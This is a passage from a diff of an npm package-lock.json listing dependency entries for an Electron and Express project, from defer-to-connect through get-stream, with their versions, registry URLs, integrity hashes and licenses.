"dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/defer-to-connect": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-2.0.1.tgz", + "integrity": "sha512-4tvttepXG1VaYGrRibk5EwJd1t4udunSOVMdLSAL6mId1ix438oPwPZMALY41FCijukO1L0twNcGsdzS7dHgDg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + } + }, + "node_modules/define-data-property": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/define-data-property/-/define-data-property-1.1.4.tgz", + "integrity": "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "es-define-property": "^1.0.0", + "es-errors": "^1.3.0", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/define-properties": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.2.1.tgz", + "integrity": "sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==", + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "define-data-property": "^1.0.1", + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/depd": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/detect-node": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.1.0.tgz", + "integrity": "sha512-T0NIuQpnTvFDATNuHN5roPwSBG83rFsuO+MXXH9/3N1eFbn4wcPjttvjMLEPWJ0RGUYgQE7cGgS3tNxbqCGM7g==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/dir-compare": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/dir-compare/-/dir-compare-4.2.0.tgz", + "integrity": "sha512-2xMCmOoMrdQIPHdsTawECdNPwlVFB9zGcz3kuhmBO6U3oU+UQjsue0i8ayLKpgBcm+hcXPMVSGUN9d+pvJ6+VQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "minimatch": "^3.0.5", + "p-limit": "^3.1.0 " + } + }, + "node_modules/dir-compare/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/dir-compare/node_modules/brace-expansion": { + "version": "1.1.21", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.21.tgz", + "integrity": "sha512-9zeA+KLZNNzglF2TPKRQEDyx6Yby7daAkuy8MiPzpXPsYDWi/DRM8jmwUDxokQjYqBpv5DgPiwD4h4ZZSy1Ujw==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/dir-compare/node_modules/minimatch": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.5.tgz", + "integrity": "sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/dmg-builder": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/dmg-builder/-/dmg-builder-26.15.3.tgz", + "integrity": "sha512-O3zJUFUYHJKgzPqioHxfxzBzlSC1eXCSr79gMSBKBP5AgjjpmrydMsMLotEg9fAJF36vdUncb+4ndRNxoPdlSQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-builder-lib": "26.15.3", + "builder-util": "26.15.3", + "fs-extra": "^10.1.0", + "js-yaml": "^4.1.0" + } + }, + "node_modules/dotenv": { + "version": "16.6.1", + "resolved": "https://registry.npmjs.org/dotenv/-/dotenv-16.6.1.tgz", + "integrity": "sha512-uBq4egWHTcTt33a72vpSG0z3HnPuIl6NqYcTrKEg2azoEyl2hpW0zqlxysq2pK9HlDIHyHyakeYaYnSAwd8bow==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dotenv-expand": { + "version": "11.0.7", + "resolved": "https://registry.npmjs.org/dotenv-expand/-/dotenv-expand-11.0.7.tgz", + "integrity": "sha512-zIHwmZPRshsCdpMDyVsqGmgyP0yT8GAgXUnkdAoJisxvf33k7yO6OuoKmcTGuXPWSsm8Oh88nZicRLA9Y0rUeA==", + "dev": true, + "license": "BSD-2-Clause", + "dependencies": { + "dotenv": "^16.4.5" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://dotenvx.com" + } + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/duplexer2": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/duplexer2/-/duplexer2-0.1.4.tgz", + "integrity": "sha512-asLFVfWWtJ90ZyOUHMqk7/S2w2guQKxUI2itj3d92ADHhxUSbCMGi1f1cBcJ7xM1To+pE/Khbwo1yuNbMEPKeA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "readable-stream": "^2.0.2" + } + }, + "node_modules/ee-first": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz", + "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==", + "license": "MIT" + }, + "node_modules/ejs": { + "version": "3.1.10", + "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz", + "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "jake": "^10.8.5" + }, + "bin": { + "ejs": "bin/cli.js" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/electron": { + "version": "44.7.0", + "resolved": "https://registry.npmjs.org/electron/-/electron-44.7.0.tgz", + "integrity": "sha512-aUq9/zLAAFYc+a9gy6cd0C3Y/N/RmovLCD8TV8LhIzNhuND6HEgsu96jJz9cbAxvckSPv+Trf2PKEjktoZgFkw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@electron-internal/extract-zip": "^1.0.1", + "@electron/get": "^5.0.0", + "@types/node": "^24.9.0" + }, + "bin": { + "electron": "cli.js", + "install-electron": "install.js" + }, + "engines": { + "node": ">= 22.12.0" + } + }, + "node_modules/electron-builder": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/electron-builder/-/electron-builder-26.15.3.tgz", + "integrity": "sha512-a1KM5heqS3gQCZzizXEI8RjJy3QVogULPdeSknt76uLDpBIW/HDGsMg/XgP0riP6PI9COsRvFITKKGDqA8fJxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "app-builder-lib": "26.15.3", + "builder-util": "26.15.3", + "builder-util-runtime": "9.7.0", + "chalk": "^4.1.2", + "ci-info": "^4.2.0", + "dmg-builder": "26.15.3", + "fs-extra": "^10.1.0", + "lazy-val": "^1.0.5", + "simple-update-notifier": "2.0.0", + "yargs": "^17.6.2" + }, + "bin": { + "electron-builder": "cli.js", + "install-app-deps": "install-app-deps.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/electron-builder-squirrel-windows": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/electron-builder-squirrel-windows/-/electron-builder-squirrel-windows-26.15.3.tgz", + "integrity": "sha512-Jc19XPV9y9+2bAdZPkXuVNGNIEFBq9poHC61l8Kv6FdK7DRG3+Ic0rerC0DXOaeHNz8yW0fg/JnF8GQROOF5MA==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "app-builder-lib": "26.15.3", + "builder-util": "26.15.3", + "electron-winstaller": "5.4.0" + } + }, + "node_modules/electron-publish": { + "version": "26.15.3", + "resolved": "https://registry.npmjs.org/electron-publish/-/electron-publish-26.15.3.tgz", + "integrity": "sha512-g/2bn8YTavY4cuS5F+jOS7zmZbXXBV8KZ8yHKfJjFPoKtzBqrpCdNPxBd3tqdBwP7BVd0lGzf7Bk2s0KesWZ4Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/fs-extra": "^9.0.11", + "aws4": "^1.13.2", + "builder-util": "26.15.3", + "builder-util-runtime": "9.7.0", + "chalk": "^4.1.2", + "form-data": "^4.0.5", + "fs-extra": "^10.1.0", + "lazy-val": "^1.0.5", + "mime": "^2.5.2" + } + }, + "node_modules/electron-winstaller": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/electron-winstaller/-/electron-winstaller-5.4.0.tgz", + "integrity": "sha512-bO3y10YikuUwUuDUQRM4KfwNkKhnpVO7IPdbsrejwN9/AABJzzTQ4GeHwyzNSrVO+tEH3/Np255a3sVZpZDjvg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "peer": true, + "dependencies": { + "@electron/asar": "^3.2.1", + "debug": "^4.1.1", + "fs-extra": "^7.0.1", + "lodash": "^4.17.21", + "temp": "^0.9.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "optionalDependencies": { + "@electron/windows-sign": "^1.1.2" + } + }, + "node_modules/electron-winstaller/node_modules/fs-extra": { + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz", + "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==", + "dev": true, + "license": "MIT", + "peer": true, + "dependencies": { + "graceful-fs": "^4.1.2", + "jsonfile": "^4.0.0", + "universalify": "^0.1.0" + }, + "engines": { + "node": ">=6 <7 || >=8" + } + }, + "node_modules/electron-winstaller/node_modules/jsonfile": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", + "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==", + "dev": true, + "license": "MIT", + "peer": true, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/electron-winstaller/node_modules/universalify": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", + "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==", + "dev": true, + "license": "MIT", + "peer": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "license": "MIT" + }, + "node_modules/encodeurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz", + "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/end-of-stream": { + "version": "1.4.5", + "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz", + "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==", + "dev": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/env-paths": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-3.0.0.tgz", + "integrity": "sha512-dtJUTepzMW3Lm/NPxRf3wP4642UWhjL2sQxc+ym2YMj1m/H2zDNQOlezafzkHwn6sMstjHTwG6iQQsctDW/b1A==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-3.0.3.tgz", + "integrity": "sha512-yWGe1O/j+almnV4hOYrmZo8u58JdnmXEMneRQAYkWtqSiT86yoMIEKF4rpqEDj52tbYl3xceBD3DQIBwcsC9Pw==", + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es6-error": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/es6-error/-/es6-error-4.1.1.tgz", + "integrity": "sha512-Um/+FxMr9CISWh0bi5Zv0iOD+4cFh5qLeks1qhAopKVAJw3drgKbKySikp7wGhDL0HPeaja0P5ULZrxLkniUVg==", + "dev": true, + "license": "MIT", + "optional": true + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/escape-html": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz", + "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==", + "license": "MIT" + }, + "node_modules/escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/etag": { + "version": "1.8.1", + "resolved": "https://registry.npmjs.org/etag/-/etag-1.8.1.tgz", + "integrity": "sha512-aIL5Fx7mawVa300al2BnEE4iNvo1qETxLrPI/o05L7z6go7fCw1J6EQmbK4FmJ2AS7kgVF/KEZWufBfdClMcPg==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/exponential-backoff": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/exponential-backoff/-/exponential-backoff-3.1.3.tgz", + "integrity": "sha512-ZgEeZXj30q+I0EN+CbSSpIyPaJ5HVQD18Z1m+u1FXbAeT94mr1zw50q4q6jiiC447Nl/YTcIYSAftiGqetwXCA==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/express": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/express/-/express-5.3.0.tgz", + "integrity": "sha512-qCqy1xSoaugxOD4IVHb1ZWdkvCF2W3aE2okKouWj8VwJ+ztskSiXoBnCSJqfKT+cVPJhuJqe9YLbY425+Zh00g==", + "license": "MIT", + "dependencies": { + "accepts": "^2.0.0", + "body-parser": "^2.3.0", + "content-disposition": "^2.0.1", + "content-type": "^2.0.0", + "cookie": "^0.7.1", + "cookie-signature": "^1.2.1", + "debug": "^4.4.0", + "depd": "^2.0.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "etag": "^1.8.1", + "finalhandler": "^2.1.0", + "fresh": "^2.0.0", + "http-errors": "^2.0.0", + "merge-descriptors": "^2.0.0", + "mime-types": "^3.0.0", + "on-finished": "^2.4.1", + "once": "^1.4.0", + "parseurl": "^1.3.3", + "proxy-addr": "^2.0.8", + "qs": "^6.16.0", + "range-parser": "^1.2.1", + "router": "^2.2.0", + "send": "^1.1.0", + "serve-static": "^2.2.0", + "statuses": "^2.0.1", + "type-is": "^2.1.0", + "vary": "^1.1.2" + }, + "engines": { + "node": ">= 18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.8", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.8.tgz", + "integrity": "sha512-GZMtZUTNRpOVIECoXwLNZS5xUGE+mVNbTB8h/7Rwh2TFWcBQiPzTgyZi05BF9UMZKkLJv8XBRJTlU7zg8+ZfMg==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/fdir": { + "version": "6.5.0", + "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz", + "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + }, + "peerDependencies": { + "picomatch": "^3 || ^4" + }, + "peerDependenciesMeta": { + "picomatch": { + "optional": true + } + } + }, + "node_modules/filelist": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.6.tgz", + "integrity": "sha512-5giy2PkLYY1cP39p17Ech+2xlpTRL9HLspOfEgm0L6CwBXBTgsK5ou0JtzYuepxkaQ/tvhCFIJ5uXo0OrM2DxA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "minimatch": "^5.0.1" + } + }, + "node_modules/filelist/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/filelist/node_modules/brace-expansion": { + "version": "2.1.7", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.7.tgz", + "integrity": "sha512-uZbew1NqdmPDTMJ8ah1y+b+9QEJrfkXFk3RcTQw3X0jW/xRUvFKsg1CfQdSYGdTbXZWExtU3J3ccxtnfw1Fi0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/filelist/node_modules/minimatch": { + "version": "5.1.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.9.tgz", + "integrity": "sha512-7o1wEA2RyMP7Iu7GNba9vc0RWWGACJOCZBJX2GJWip0ikV+wcOsgVuY9uE8CPiyQhkGFSlhuSkZPavN7u1c2Fw==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/finalhandler": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-2.1.1.tgz", + "integrity": "sha512-S8KoZgRZN+a5rNwqTxlZZePjT/4cnm0ROV70LedRHZ0p8u9fRID0hJUZQpkKLzro8LfmC8sx23bY6tVNxv8pQA==", + "license": "MIT", + "dependencies": { + "debug": "^4.4.0", + "encodeurl": "^2.0.0", + "escape-html": "^1.0.3", + "on-finished": "^2.4.1", + "parseurl": "^1.3.3", + "statuses": "^2.0.1" + }, + "engines": { + "node": ">= 18.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/form-data": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.6.tgz", + "integrity": "sha512-vKatAh4SlVfgbv+YtmhiRjhEMJsYpsG1Y2rMQtR+SVSbytsSD1YGzDIcrAJmdFec88u/+VoGmxnl+80gL1tRCQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.4", + "mime-types": "^2.1.35" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/form-data/node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/form-data/node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/forwarded": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz", + "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==", + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/fresh": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/fresh/-/fresh-2.0.0.tgz", + "integrity": "sha512-Rx/WycZ60HOaqLKAi6cHRKKI7zxWbJ31MhntmtwMoaTeF7XFH9hhBp8vITaMidfljRQ6eYWCKkaTK+ykVJHP2A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/fs-extra": { + "version": "10.1.0", + "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", + "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": 